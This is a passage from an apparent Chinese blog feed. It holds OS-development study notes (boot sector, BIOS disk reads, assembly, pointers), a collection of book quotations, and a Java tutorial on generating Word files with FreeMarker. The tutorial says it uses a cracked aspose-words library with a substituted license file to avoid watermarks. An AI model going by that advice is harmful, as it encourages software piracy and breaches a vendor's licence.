make_wtitle8(buf_win, sht_win->bxsize, "task_a", 1); make_wtitle8(buf_cons, sht_cons->bxsize, "console", 0); cursor_c = COL8_000000; }</code></pre><p>在重新绘制光标时,若cursor_c的值为-1,则光标的颜色不会切换,这样就完成了暂停的效果。</p><blockquote><p>应该怎样由HariMain(任务A) 向console_task(命令行窗口) 传递信息, 告诉它“不需让光标闪烁”或者“需要让光标闪烁”呢? 像传递按键编码一样, 我们可以使用FIFO来实现。 </p></blockquote><h2 id="—"><a href="#—" class="headerlink" title="—-"></a>—-</h2>]]></content>
<categories>
<category> 操作系统 </category>
</categories>
</entry>
<entry>
<title>闲语杂记</title>
<link href="/2022/03/21/%E6%97%A5%E5%BF%97/%E9%97%B2%E8%AF%AD%E6%9D%82%E8%AE%B0/"/>
<url>/2022/03/21/%E6%97%A5%E5%BF%97/%E9%97%B2%E8%AF%AD%E6%9D%82%E8%AE%B0/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>《踮脚张望的时光》</p><blockquote><p>总有一天你将破蛹而出,成长得比人们期待的还要美丽。<br>但这个过程会很痛,会很辛苦,有时候还会觉得灰心。<br>面对着汹涌而来的现实,觉得自己渺小无力。<br>但这,也是生命的一部分。做好现在你能做的,然后,一切都会好的。<br>我们都将孤独地长大,不要害怕。</p></blockquote><hr><p>《周易》</p><blockquote><p>天行健,君子以自强不息。</p><p>地势坤,君子以厚德载物。</p></blockquote><hr><blockquote><p>三思方举步,百折不回头。</p><p>一勤天下无难事,百思心中有良谋。</p></blockquote><hr><blockquote><p>千里之行,始于足下。</p></blockquote><blockquote><p>怕什么真理无穷,进一寸有一寸的欢喜。</p></blockquote><blockquote><p>须知少日拏云志,曾许人间第一流。</p></blockquote><blockquote><p>我们一路奋战,不是为了改变世界,而是为了不让世界改变我们。</p></blockquote><hr><p><em><span id="more"></span></em> </p><p>《怦然心动》</p><blockquote><p>有人住高楼,有人在深沟,</p><p>有人光万丈,有人一身锈,</p><p>世人万千种,浮云莫强求,</p><p>斯人若彩虹,遇上方知有。</p></blockquote><hr><p>《悟空传》</p><blockquote><p>为什么要让一个已无力作为的人去看他少年时的理想?</p></blockquote><blockquote><p>原来一生一世那么短暂,原来当你发现所爱的,就应该不顾一切地去追求。因为生命随时都会终止,命运是大海,当你能够畅游时,你就要纵情游向你的所爱。</p></blockquote><blockquote><p>不要死,也不要孤独的活。</p></blockquote><blockquote><p>我要这天,再遮不住我眼,</p><p>要这地,再埋不了我心,</p><p>要这众生,都明白我意,</p><p>要那诸佛,都烟消云散!</p></blockquote><blockquote><p>我有一个梦,我想我飞起时,那天也让开路,我入海时,水也分成两边,众神诸仙,见我也称兄弟,无忧无虑,天下再无可拘我之物,再无可管我之人,再无我到不了之处,再无我做不成之事,再无我战不胜之物!</p></blockquote><blockquote><p>这个天地,我来过,我奋战过,我深爱过,我不在乎结局。</p></blockquote><blockquote><p>如果失去是苦,你还怕不怕付出;</p><p>如果坠落是苦,你还要不要幸福;</p><p>如果迷乱是苦,该开始还是结束;</p><p>如果追求是苦,这是坚强还是执迷不悟。</p></blockquote><hr><p>《时间陷阱》</p><blockquote><p>“ 年少时的我曾给未来的自己留下一个疑问,就是,如果我变得令当时的自己难以理解,甚至有些厌弃的时候,我该怎么向过去的自己解释。”</p><p>“我想说,现在的我会和过去的自己和解,告诉自己,要么怯弱地留在过往的完美里,要么理性而敏感地选择新的开始,面对瑕疵,留下勇敢。”</p></blockquote><hr><p>《微尘》</p><blockquote><p>老家院外,新栽的桃树也该挂果了吧,而栽下桃树的人就要走了。</p></blockquote><blockquote><p>我突然发现,所谓的坚强,不过是真正的不幸没有降临在自己头上。</p></blockquote><blockquote><p>万物需要创造,不需要模仿,因为总是模仿,人变成了今天不人不鬼的样子。</p></blockquote><hr><p>《我是个算命先生 》</p><blockquote><p>积善之家必有余庆,积不善之家必有余殃。</p></blockquote><blockquote><p>你把握住了善与恶,也就把握了命运的本质。</p></blockquote><blockquote><p>人,尽管总是被物欲遮盖了双眼,但心底的那丝善念,却总会不自觉地流出。</p></blockquote><hr><p>《活出生命的意义》</p><blockquote><p>如果人不能负责任地生活,那自由就会堕落为放任。</p></blockquote><blockquote><p>生活就好比看牙医,你总是觉得最难受的时候还没到,而实际上它已经过去了。</p></blockquote><blockquote><p>一切行为服从良心,并用知识去实现它。</p></blockquote><hr><p>《万物原理》</p><blockquote><p>帕斯卡也从这种洞见中获得了宽慰,在他发出:”宇宙通过空间囊括了我,吞没了我,使我犹如一个原子” 的哀叹后,他自我安慰地写道:”通过思想,我囊括了整个宇宙。”</p></blockquote><hr><p>《鲜衣怒马少年时: 唐宋诗人的诗酒江湖》</p><blockquote><p>没经过风起云涌,哪来的风轻云淡?</p></blockquote><blockquote><p>一事无成就风云看淡,那是矫情,功成名就之后看淡功名,那是境界。</p></blockquote><blockquote><p>少年要读李白,他让你狂傲有血性;中年要读杜甫,他赋予你人文关怀和责任感;至于王维,你什么时候都可以读。</p><p>他会告诉你,如何轰轰烈烈地入世,如何体面地出世。</p></blockquote><blockquote><p>成功没有标准,在鹿门山是静好岁月,在长安是光辉岁月。只要是你内心想要的,就是好岁月。</p></blockquote><blockquote><p>风起于青萍之末。</p></blockquote><hr>]]></content>
<categories>
<category> 日志 </category>
</categories>
</entry>
<entry>
<title>freemarker操控word</title>
<link href="/2022/03/15/%E5%86%99%E7%82%B9%E5%A5%BD%E7%8E%A9%E7%9A%84/freemarker%E6%93%8D%E6%8E%A7word/"/>
<url>/2022/03/15/%E5%86%99%E7%82%B9%E5%A5%BD%E7%8E%A9%E7%9A%84/freemarker%E6%93%8D%E6%8E%A7word/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="工具介绍"><a href="#工具介绍" class="headerlink" title="工具介绍"></a>工具介绍</h2><p>FreeMarker 是一款 <em>模板引擎</em>: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。</p><p>模板编写为FreeMarker Template Language (FTL)。它是简单的,专用的语言, <em>不是</em> 像PHP那样成熟的编程语言。 那就意味着要准备数据在真实编程语言中来显示,比如数据库查询和业务运算, 之后模板显示已经准备好的数据。在模板中,你可以专注于如何展现数据, 而在模板之外可以专注于要展示什么数据。</p><p>通过freemarker ,可以向word模板中填入数据,个人看上它最主要的原因是可以循环插入。</p><p>比如有的需求是需要插入多张图片、多个列表等,对于这种不确定的, 可以使用<#list> 标签,将需要循环的部分括起来,插入时只需要传入数组元素即可生成。</p><p><em><span id="more"></span></em> </p><p><a href="http://freemarker.foofun.cn/">http://freemarker.foofun.cn/</a></p><h2 id="环境配置"><a href="#环境配置" class="headerlink" title="环境配置"></a>环境配置</h2><p>maven引入</p><pre><code class="xml"> <dependency> <groupId>e-iceblue</groupId> <artifactId>spire.doc.free</artifactId> <version>3.9.0</version> </dependency> <dependency> <groupId>org.freemarker</groupId> <artifactId>freemarker</artifactId> <version>2.3.20</version> </dependency></code></pre><p>spire需要引入源</p><pre><code class="xml"> <repository> <id>com.e-iceblue</id> <name>e-iceblue</name> <url>http://repo.e-iceblue.com/nexus/content/groups/public/</url> </repository></code></pre><h2 id="使用流程"><a href="#使用流程" class="headerlink" title="使用流程"></a>使用流程</h2><h3 id="生成模板文件"><a href="#生成模板文件" class="headerlink" title="生成模板文件"></a>生成模板文件</h3><blockquote><p>首先设计一个docx模板,并在要填入数据的地方写入占位符,需要写入图片的地方随便放一张图片即可</p></blockquote><p><img src="/2022/03/15/%E5%86%99%E7%82%B9%E5%A5%BD%E7%8E%A9%E7%9A%84/freemarker%E6%93%8D%E6%8E%A7word/image-20230927205118120.png" alt="image-20230927205118120"></p><blockquote><p>按F12 ,将其保存为word2003 xml 格式</p></blockquote><p><img src="/2022/03/15/%E5%86%99%E7%82%B9%E5%A5%BD%E7%8E%A9%E7%9A%84/freemarker%E6%93%8D%E6%8E%A7word/image-20230927205128895.png" alt="image-20230927205128895"></p><blockquote><p>通过vscode打开,alt+shift+F格式化一下方便修改(注意: 经测试,模板文件中不能有tab键,格式化之后有tab键,因此编写完成后需要把这些tab键都删除,不然生成的word图片会无法显示)</p></blockquote><p><img src="/2022/03/15/%E5%86%99%E7%82%B9%E5%A5%BD%E7%8E%A9%E7%9A%84/freemarker%E6%93%8D%E6%8E%A7word/image-20230927205140585.png" alt="image-20230927205140585"></p><blockquote><p>对于写好占位符的地方,要为其加上${} ,一开始不加上是因为word生成的xml会将${占位符}分成三份,在xml里直接修改不容易出错。</p></blockquote><p><img src="/2022/03/15/%E5%86%99%E7%82%B9%E5%A5%BD%E7%8E%A9%E7%9A%84/freemarker%E6%93%8D%E6%8E%A7word/image-20230927205155783.png" alt="image-20230927205155783"></p><blockquote><p>图片的数据信息在binData中,以base64格式存放,单一的图片也跟上面的差不多,将binData的数据修改成占位符即可,多图片时就需要使用循环了,主要修改六个地方,分别是加入循环、在binData中加入占位符,在shape中加上图片的宽和高,在文件名处加入占位符。</p></blockquote><blockquote><p>补充: 在list循环中,若对象为自定义类 ,可通过一个 .获取对应的值</p></blockquote><p><img src="/2022/03/15/%E5%86%99%E7%82%B9%E5%A5%BD%E7%8E%A9%E7%9A%84/freemarker%E6%93%8D%E6%8E%A7word/image-20230927205211558.png" alt="image-20230927205211558"></p><p>模板如下,可直接使用</p><pre><code class="xml"><#list images as image><w:pict><v:shapetype id="_x0000_t75" coordsize="21600,21600" o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f"><v:stroke joinstyle="miter"/><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"/><v:f eqn="sum @0 1 0"/><v:f eqn="sum 0 0 @1"/><v:f eqn="prod @2 1 2"/><v:f eqn="prod @3 21600 pixelWidth"/><v:f eqn="prod @3 21600 pixelHeight"/><v:f eqn="sum @0 0 1"/><v:f eqn="prod @6 1 2"/><v:f eqn="prod @7 21600 pixelWidth"/><v:f eqn="sum @8 21600 0"/><v:f eqn="prod @7 21600 pixelHeight"/><v:f eqn="sum @10 21600 0"/></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/><o:lock v:ext="edit" aspectratio="t"/></v:shapetype><w:binData w:name="wordml://${image_index+1}.png" xml:space="preserve">${image.baseEncode}</w:binData><v:shape id="图片 1" o:spid="_x0000_i1026" type="#_x0000_t75" style="width:${image.width}pt;height:${image.height}pt;visibility:visible;mso-wrap-style:square"><v:imagedata src="wordml://${image_index+1}.png" o:title=""/></v:shape></w:pict></#list></code></pre><p><strong>编写完成后别忘了删除tab键</strong></p><pre><code class="java"> public static String getPath(String userpath){ String path=""; String os = System.getProperty("os.name"); if (os.toLowerCase().startsWith("win")) { path = "E:"+ File.separator+userpath+File.separator; }else { path = "/webapps/img/"+userpath+"/"; } return path; }</code></pre><h3 id="代码介绍"><a href="#代码介绍" class="headerlink" title="代码介绍"></a>代码介绍</h3><blockquote><p>图片相关</p></blockquote><p>因为循环图片中,需要用到图片的高宽、base64编码的信息,因此这里创建一个类记录图片信息</p><pre><code class="java">package org.qwrdxer.pojo;public class Imagebase64 { private Integer width; //宽 private Integer height; //高 private String baseEncode; //base64编码后的数据 public Integer getWidth() { return width; } public void setWidth(Integer width) { this.width = width; } public Integer getHeight() { return height; } public void setHeight(Integer height) { this.height = height; } public String getBaseEncode() { return baseEncode; } public void setBaseEncode(String baseEncode) { this.baseEncode = baseEncode; }}</code></pre><blockquote><p>生成word 、图片base64数据获取</p></blockquote><pre><code class="java">package org.qwrdxer.utils;import freemarker.template.Configuration;import freemarker.template.Template;import sun.misc.BASE64Encoder;import java.io.*;import java.util.Map;public class GenWord { /** * 生成word文件 * * @param dataMap 数据 * @param templateName 模板名称 * @param file 文件 * @param fileName 文件名称 */ public static void createWord(Map<String, Object> dataMap, String templateName, File file, String fileName) { try { Configuration configuration = new Configuration(); configuration.setDefaultEncoding("UTF-8"); configuration.setDirectoryForTemplateLoading(file); Template template = configuration.getTemplate(templateName); File outFile = new File("E:\\87b0767d5d8f49039fac2b1d1e29fdc3\\" + fileName); if (!outFile.getParentFile().exists()) { outFile.getParentFile().mkdirs(); } Writer out = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(outFile), "UTF-8")); template.process(dataMap, out); out.flush(); out.close(); } catch (Exception e) { e.printStackTrace(); } } public static String convertFileToBase64(String imgPath) throws IOException { InputStream in = new FileInputStream(imgPath); ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); // 将内容读取内存中 byte[] buffer = null; buffer = new byte[1024]; int len = -1; while ((len = in.read(buffer)) != -1) { outputStream.write(buffer, 0, len); } buffer = outputStream.toByteArray(); if (in != null) { try { // 关闭inputStream流 in.close(); } catch (IOException e) { e.printStackTrace(); } } if (outputStream != null) { try { // 关闭outputStream流 outputStream.close(); } catch (IOException e) { e.printStackTrace(); } } // 对字节数组Base64编码 return new BASE64Encoder().encode(buffer); }}</code></pre><p>createWord 函数用于根据模板将数据填入,并输出到指定文件</p><p>参数为:</p><ol><li>要填入模板中的数据 Map</li><li>模板名字 String</li><li>模板所在文件夹 File</li><li>输出文件的路径+名字 String</li></ol><p>convertFileToBase64函数,将图片数据转换成base64, 输入为图片所在路径</p><p>测试代码</p><pre><code class="java"> @Test public void test3() throws IOException, TemplateException { Map<String, Object> dataMap = new HashMap<>(); dataMap.put("num","1,23,,3,4,54,435,345,345"); dataMap.put("opphone","12131313"); dataMap.put("opname","WDADWWD"); File picture=null; BufferedImage sourceImg=null; List<Imagebase64> images = new ArrayList<Imagebase64>(); File file = new File("E:\\49f3cd0e6ef34ba1bdf5ecdb11defbf1"); //获取其file对象 File[] fs = file.listFiles(); //遍历path下的文件和目录,放在File数组中 for(File f:fs){ //遍历File[]数组 if((!f.getName().contains("doc")) && (!f.getName().contains("pdf"))){ //若非目录(即文件),则打印 System.out.println(f.getPath()); picture = new File(f.getPath()); sourceImg = ImageIO.read(new FileInputStream(picture)); Imagebase64 image=new Imagebase64(); int tmpwidth=sourceImg.getWidth(); int tmpheight=sourceImg.getHeight(); if(tmpwidth>400) { int tmprate=tmpwidth/400; tmpwidth=(tmpwidth / tmprate); tmpheight=(tmpheight / tmprate); } if(tmpheight>400){ int tmprate=tmpheight/300; tmpheight=(tmpheight / tmprate); tmpwidth=(tmpwidth / tmprate); } image.setWidth(tmpwidth); image.setHeight(tmpheight); image.setBaseEncode(convertFileToBase64(f.getPath())); //images.add(convertFileToBase64(f.getPath())); images.add(image); } } dataMap.put("images",images); dataMap.put("total","111"); dataMap.put("need","11"); createWord(dataMap,"temp.ftl",new File("E:\\"),"E:\\49f3cd0e6ef34ba1bdf5ecdb11defbf1\\out.doc"); }</code></pre><ol><li>首先我们需要定义一个map,用于记录生成word需要的信息。</li><li>map的key设置为 模板中的占位符,值为字符串或列表形式(列表用于循环)</li><li>主要是对图片的处理,经测试若图片太大,会导致生成的图片无法在word中显示,因此设置图片的宽和高,若超过某个阈值,则进行一定倍数的缩小。</li></ol><h3 id="补充-将word转成PDF"><a href="#补充-将word转成PDF" class="headerlink" title="补充: 将word转成PDF"></a>补充: 将word转成PDF</h3><p>主要是使用 aspose-words 破解版,将 word转换成PDF</p><blockquote><p>word转pdf</p></blockquote><p><a href="https://blog.csdn.net/weixin_49051190/article/details/110140154">https://blog.csdn.net/weixin_49051190/article/details/110140154</a></p><p><a href="https://www.cnblogs.com/jssj/p/11808161.html">https://www.cnblogs.com/jssj/p/11808161.html</a></p><p><a href="https://blog.csdn.net/yinyanyao1747/article/details/90751024">https://blog.csdn.net/yinyanyao1747/article/details/90751024</a></p><blockquote><p> Java Maven上指定包下载不下来问题解决</p></blockquote><p><a href="https://blog.csdn.net/u013419838/article/details/114446652">https://blog.csdn.net/u013419838/article/details/114446652</a></p><blockquote><p>linux 报错</p></blockquote><pre><code>java.awt.AWTError: Assistive Technology not found: org.GNOME.Accessibility.AtkWrapper</code></pre><p><a href="https://blog.csdn.net/df1445/article/details/107943639">https://blog.csdn.net/df1445/article/details/107943639</a></p><blockquote><p>linux下成的pdf乱码,需要将window字体拷贝入linux</p></blockquote><p><a href="https://blog.csdn.net/blogliu/article/details/109049029">https://blog.csdn.net/blogliu/article/details/109049029</a></p><blockquote><p> 工具类</p></blockquote><pre><code class="java">import com.aspose.words.License;import com.aspose.words.SaveFormat;import java.io.File;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.InputStream;import com.aspose.words.*;import static org.qwrdxer.utils.Fileprocess.getabsPath;public class word2pdf { /***** * 需要引入jar包:aspose-words-15.8.0-jdk16.jar */ public static boolean getLicense() { boolean result = false; String Path=getabsPath(); try { File file = new File(Path+"license.xml"); // 新建一个空白pdf文档 InputStream is = new FileInputStream(file); // license.xml找个路径放即可。 License aposeLic = new License(); aposeLic.setLicense(is); result = true; } catch (Exception e) { e.printStackTrace(); } return result; } public static void doc2pdf(String inPath, String outPath) { if (!getLicense()) { // 验证License 若不验证则转化出的pdf文档会有水印产生 return; } try { long old = System.currentTimeMillis(); File file = new File(outPath); // 新建一个空白pdf文档 FileOutputStream os = new FileOutputStream(file); Document doc = new Document(inPath); // Address是将要被转化的word文档 doc.save(os, SaveFormat.PDF);// 全面支持DOC, DOCX, OOXML, RTF HTML, OpenDocument, PDF, // EPUB, XPS, SWF 相互转换 long now = System.currentTimeMillis(); System.out.println("共耗时:" + ((now - old) / 1000.0) + "秒"); // 转化用时 } catch (Exception e) { e.printStackTrace(); } }}</code></pre><blockquote><p>使用测试, 第一个参数为输入的word ,第二个参数为输出的pdf</p></blockquote><pre><code>doc2pdf("E:\\pdf22\\fro.doc","E:\\pdf22\\out.pdf");</code></pre><blockquote><p>参考文章</p><p><a href="https://blog.csdn.net/xujiangdong1992/article/details/104616043">https://blog.csdn.net/xujiangdong1992/article/details/104616043</a></p><p><a href="https://segmentfault.com/a/1190000038364182">https://segmentfault.com/a/1190000038364182</a></p><p><a href="https://www.cnblogs.com/h-java/p/10026850.html">https://www.cnblogs.com/h-java/p/10026850.html</a></p><p><a href="https://blog.csdn.net/qq_37676492/article/details/107019383">https://blog.csdn.net/qq_37676492/article/details/107019383</a></p><p><a href="https://github.com/yongming9011/WordExportDemo">https://github.com/yongming9011/WordExportDemo</a></p></blockquote>]]></content>
<categories>
<category> 写点好玩的 </category>
</categories>
<tags>
<tag> 工具使用 </tag>
</tags>
</entry>
<entry>
<title>30天自制操作系统-学习笔记 day1~day10</title>
<link href="/2022/01/31/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/30%E5%A4%A9%E8%87%AA%E5%88%B6%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F-%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
<url>/2022/01/31/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/30%E5%A4%A9%E8%87%AA%E5%88%B6%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F-%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="20220131"><a href="#20220131" class="headerlink" title="20220131"></a>20220131</h2><p>day1~day3</p><h3 id="代码"><a href="#代码" class="headerlink" title="代码"></a>代码</h3><blockquote><p>run.bat</p></blockquote><pre><code class="shell">copy helloos.img ..\z_tools\qemu\fdimage0.bin# 将helloos.img 复制到qemu文件夹下,命名为fdimage0.bin..\z_tools\make.exe -C ../z_tools/qemu# -C 且换目录到qemu文件夹下,并执行make命令</code></pre><p>复制结束后会运行如下命令</p><pre><code>qemu.exe -L . -m 32 -localtime -std-vga -fda fdimage0.bin</code></pre><p>使用qemu运行该img文件</p><p><em><span id="more"></span></em> </p><blockquote><p>读盘</p></blockquote><pre><code class="shell">MOV AX,0x0820MOV ES,AXMOV CH,0 ; 柱面0MOV DH,0 ; 磁头0MOV CL,2 ; 扇区2MOV AH,0x02 ; AH=0x02 : 读盘MOV AL,1 ; 1个扇区MOV BX,0MOV DL,0x00 ; A驱动器INT 0x13 ; 调用磁盘BIOSJC error</code></pre><p>磁盘读、 写, 扇区校验(verify) , 以及寻道(seek)<br>AH=0x02;(读盘)<br>AH=0x03;( 写盘)<br>AH=0x04;( 校验)<br>AH=0x0c;( 寻道)<br>AL=处理对象的扇区数;( 只能同时处理连续的扇区)<br>CH=柱面号 &0xff;<br>CL=扇区号( 0-5位) |( 柱面号&0x300) * * 2;<br>DH=磁头号;<br>DL=驱动器号;<br>ES:BX=缓冲地址; (校验及寻道时不使用)<br>返回值:<br>FLACS.CF==0: 没有错误, AH==0<br>FLAGS.CF==1: 有错误, 错误号码存入AH内( 与重置( reset)<br>功能一样) </p><blockquote><p>读入10个柱面</p></blockquote><p><img src="https://gitee.com/qwrdxer/img2/raw/master/image-20220131175620833.png" alt="image-20220131175620833"></p><p>next: 缓冲地址加32x16 ,如果扇区号>18,需要读入磁盘反面数据,DH+1 ,加1后如果为1 ,扇区号重置为1,读反面数据即可,如果为2 ,则需要更换柱面。</p><h3 id="makefile"><a href="#makefile" class="headerlink" title="makefile"></a>makefile</h3><p><a href="https://blog.csdn.net/haoel/article/details/2886">https://blog.csdn.net/haoel/article/details/2886</a></p><p><em><!-- more --></em> </p><h3 id="名词"><a href="#名词" class="headerlink" title="名词"></a>名词</h3><blockquote><p> 启动区</p></blockquote><p>软盘第一个的扇区称为启动区。 那么什么是扇区呢? 计算机读写软盘的时候, 并不是一个字节一个字节地读写的, 而是以512字节为一个单位进行读写。 因此,软盘的512字节就称为一个扇区。 计算机首先从最初一个扇区开始读软盘, 然后去检查这个扇区最后2个字节的内容。 如果计算机确认了第一个扇区的最后两个字节正好是0x55 AA, 那它就认为这个扇区的开头是启动程序, 并开始执行这个程序 。</p><blockquote><p>IPL</p></blockquote><p>initial program loader的缩写。 启动程序加载器。 启动区只有区区512字节, 实际的操作系统不像hello-os这么小, 根本装不进去。 所以几乎所有的操作系统, 都是把加载操作系统本身的程序放在启动区里的。 </p><blockquote><p>汇编指令:org</p></blockquote><p>指明机器语言指令装载到内存中的哪个位置</p><p><a href="https://blog.csdn.net/soulzx/article/details/6536200">https://blog.csdn.net/soulzx/article/details/6536200</a></p><pre><code>org指令是链接时使用的,不是汇编那一步使用的。即不是cpu的一条指令,而是给编译器看的伪指令。</code></pre><blockquote><p>汇编指令 mov A,B</p></blockquote><p>将B赋值给A</p><blockquote><p>汇编指令mov A,[B]</p></blockquote><p>获取B寄存器中存储的内存地址对应的数据,赋值给A</p><blockquote><p>汇编指令HLT </p></blockquote><p>让CPU进入待机状态,当外部有输入时继续执行指令</p><blockquote><p>汇编指令INT</p></blockquote><p> INT: interrupt</p><p>0x10 : 输出字符</p><p>0x13 : 磁盘操作(根据AH的值)</p><blockquote><p>汇编指令JC: Jump if carry</p></blockquote><p>如果进位标志(carry flag)是1 就跳转</p><p>CMP: compare</p><p>JE: jump if equal</p><p>JBE: jump if below or qual</p><p>JB : jump if below</p><p>BIOS:basic input output system</p><blockquote><p>寄存器</p></blockquote><p>AX——accumulator, 累加寄存器<br>CX——counter, 计数寄存器<br>DX——data, 数据寄存器<br>BX——base, 基址寄存器<br>SP——stack pointer, 栈指针寄存器<br>BP——base pointer, 基址指针寄存器<br>SI——source index, 源变址寄存器<br>DI——destination index, 目的变址寄存器 </p><p>AL——累加寄存器低位(accumulator low)<br>CL——计数寄存器低位(counter low)<br>DL——数据寄存器低位(data low)<br>BL——基址寄存器低位(base low)<br>AH——累加寄存器高位(accumulator high)<br>CH——计数寄存器高位(counter high)<br>DH——数据寄存器高位(data high)<br>BH——基址寄存器高位(base high) </p><p>段寄存器(16位)</p><p>ES——附加段寄存器(extra segment)<br>CS——代码段寄存器(code segment)<br>SS——栈段寄存器(stack segment)<br>DS——数据段寄存器(data segment)<br>FS——没有名称(segment part 2)<br>GS——没有名称(segment part 3) </p><p>Cylinder 柱面</p><p>Head 磁头</p><p>Sector 扇区</p><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>一般向一个空软盘保存文件时(根据文件系统),</p><ol><li>文件名会写在0x002600以后的地方;</li><li>文件的内容会写在0x004200以后的地方。</li></ol><p><a href="https://blog.csdn.net/c234jc/article/details/70991050">https://blog.csdn.net/c234jc/article/details/70991050</a></p><p>内存分布图</p><p><img src="https://gitee.com/qwrdxer/img2/raw/master/1096103-20191006104056867-805241753.png" alt="img"></p><h2 id="20220201"><a href="#20220201" class="headerlink" title="20220201"></a>20220201</h2><h3 id="操作系统流程"><a href="#操作系统流程" class="headerlink" title="操作系统流程:"></a>操作系统流程:</h3><ol><li>CPU将系统盘中第一个扇区(启动区)的内容(512Byte)加载入内存中,检验扇区最后两字节是否为0x55 ,0xAA. 如果计算机确认了第一个扇区的最后两个字节正好是0x55 AA, 那它就认为这个扇区的开头是启动程序, 并开始执行这个程序 。</li><li>一个扇区是远远不够存储操作系统的,因此需要让CPU将其他扇区代码读入内存(缓冲区)中,我们要借助启动区读入的就是操作系统的代码</li><li>函数是如何导入作者暂未讲解. ..</li></ol><h3 id="harib00g-代码解读"><a href="#harib00g-代码解读" class="headerlink" title="harib00g 代码解读"></a>harib00g 代码解读</h3><blockquote><p>haribote.nas</p></blockquote><pre><code class="assembly">; haribote-os; TAB=4 ORG 0xc200 MOV AL,0x13 MOV AH,0x00 INT 0x10fin: HLT JMP fin</code></pre><p>这段是启动区运行完毕后要执行的汇编代码</p><p><del>ORG设置其加载到内存时的位置</del></p><p>ORG可以理解为偏移量,供编译器进行地址转换,</p><p>MOV AL,0x13<br>MOV AH,0x00</p><p> AH=0x00 ,AL=0x13设置显示为VGA图形模式</p><p>INT 0x10 调用bios函数来设置显示为VGA图形模式</p><p>后续代码进入循环</p><h3 id="harb00j"><a href="#harb00j" class="headerlink" title="harb00j"></a>harb00j</h3><p>引入了C语言,因为C语言中没有HLT,需要用汇编实现这个函数</p><blockquote><p>naskfunc.nas和bootpack.c</p></blockquote><pre><code class="assembly">; naskfunc; TAB=4[FORMAT "WCOFF"] ; 制作目标文件的模式[BITS 32] ; 制作32位模式用的机械语言;制作目标文件的信息[FILE "naskfunc.nas"] ; 源文件名信息 GLOBAL _io_hlt ; 程序中包含的函数名;以下是实际的函数[SECTION .text] ; 目标文件中写了这些之后再写程序_io_hlt: ; void io_hlt(void); HLT RET</code></pre><pre><code class="c">/*告诉C编译器, 有一个函数在别的文件里*/void io_hlt(void);/*是函数声明却不用{ }, 而用;, 这表示的意思是: 函数是在别的文件中, 你自己找一下吧! */void HariMain(void){ fin: io_hlt(); /*执行naskfunc.nas里的_io_hlt*/ goto fin;}</code></pre><h3 id="harb01b"><a href="#harb01b" class="headerlink" title="harb01b"></a>harb01b</h3><p>写一个HELLO</p><pre><code class="c">void io_hlt(void);void write_mem8(int addr, int data);void HariMain(void){ int i; for (i = 0xa0000; i <= 0xaffff; i++) { write_mem8(i, i & 0x0f); } WriteH(0xa0000); WriteE(0xa0000+7); WriteL(0xa0000+7*2); WriteL(0xa0000+7*3); WriteO(0xa0000+7*4); for (;;) { io_hlt(); }}/*256/4 * 5*/void WriteH(int addr){ int i; for (i=0;i<=10;i++){ write_mem8(addr+i*320,0x0f); } for (i=0;i<=10;i++){ write_mem8(addr+5+i*320,0x0f); } write_mem8(addr+1+4*320,0x0f); write_mem8(addr+2+4*320,0x0f); write_mem8(addr+3+4*320,0x0f); write_mem8(addr+4+4*320,0x0f);}void WriteE(int addr){ int i; for (i=0;i<=10;i++){ write_mem8(addr+i*320,0x0f); } for (i=1;i<=4;i++){ write_mem8(addr+i,0x0f); } for (i=1;i<=4;i++){ write_mem8(addr+i+320*5,0x0f); } for (i=1;i<=4;i++){ write_mem8(addr+i+320*10,0x0f); }}void WriteL(int addr){ int i; for (i=0;i<=10;i++){ write_mem8(addr+i*320,0x0f); } for (i=1;i<=4;i++){ write_mem8(addr+i+320*10,0x0f); }}void WriteO(int addr){ int i; for (i=0;i<=10;i++){ write_mem8(addr+i*320,0x0f); } for (i=0;i<=10;i++){ write_mem8(addr+5+i*320,0x0f); } for (i=1;i<=4;i++){ write_mem8(addr+i,0x0f); write_mem8(addr+i+320*10,0x0f); }}</code></pre><h2 id="20220202"><a href="#20220202" class="headerlink" title="20220202"></a>20220202</h2><h3 id="指针"><a href="#指针" class="headerlink" title="指针"></a>指针</h3><p>作者将指针用 地址变量来描述</p><p>char *p 定义了一个指针(即地址变量,其值为内存中的地址)</p><p>p=0x000a 即让p指向一个内存地址</p><p>往地址中写入值:</p><p>在c语言中 *p=0x123</p><p>在汇编中是 mov [EAX], 0x123</p><p>指针,其存储的值为一个地址变量 ,我们可以通过用*号去访问那个地址</p><p>& 取地址,获取变量的地址</p><p>p=(char *)&a 获取到a变量的地址,并将其转换成char类型的地址变量,赋值给p</p><p>p[1] 是什么意思:</p><p>p[1]等价于 *(p+1), 这个1并不是数值上的1 ,而是单位1 ,他根据指针的类型来决定具体的大小,char类型为1byte, short为2byte(word) ,int为4byte(DWORD)</p><p>p[1]并不代表其为数组,作者原话如下</p><blockquote><p>不是说改变一下写法, 地址变量就变成数组了。 大家不要被那些劣质的<br>教科书骗了。 编译器生成的机器语言也完全一样。 这比什么都更能证<br>明, 意思没有变化, 只是写法不同。 </p><p>说个题外话, 加法运算可以交换顺序, 